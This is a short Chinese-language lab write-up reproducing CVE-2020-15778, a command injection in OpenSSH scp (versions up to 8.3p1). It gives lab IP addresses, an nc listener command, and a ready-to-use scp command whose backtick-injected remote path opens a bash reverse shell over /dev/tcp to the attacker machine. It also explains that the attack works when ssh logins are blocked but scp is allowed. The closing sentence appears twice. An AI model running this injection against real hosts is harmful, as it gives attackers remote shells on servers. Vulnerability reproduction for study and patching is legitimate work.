声明
好好学习,天天向上
漏洞描述
OpenSSH是SSH(Secure SHell)协议的免费开源实现。OpenSSH是个SSH的软件,linux/unix都用openssh软件提供SSH服务。scp 是 secure copy 的缩写, scp 是 linux 系统下基于 ssh 登陆进行安全的远程文件拷贝命令。
该漏洞编号CVE-2020-15778。OpenSSH的8.3p1及之前版本中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令。目前绝大多数linux系统受影响。
影响范围
openssh <= openssh-8.3p1
复现过程
未安装ssh:
进行安装
sudo apt-get install openssh-client
已安装ssh:
ssh -V 查看版本信息,果然我的版本比较老了,毕竟靶机好久没升级
攻击机:192.168.239.139
靶机:192.168.239.129
前提条件,攻击者获取了靶机ssh的用户名密码,通过调用ssh,从而执行代码
攻击者监听端口
nc -lvvp 9999
拿到对方ssh用户名密码后,直接攻击
攻击者继续执行
scp /tmp/hello.txt root@192.168.239.129:'`bash -i >& /dev/tcp/192.168.239.139/9999 0>&1`'
需要输入ssh的密码,输入密码后直接反弹shell
要注意一点,有人可能觉得这个漏洞很鸡肋,已经拿到ssh的用户名和密码了,直接ssh进去不就好了,我们想一下调用过程,我们是通过scp调用ssh,完成RCE,如果用户关闭ssh,但是开启scp,那我们就可以用这种方式了
但是开启scp,那我们就可以用这种方式了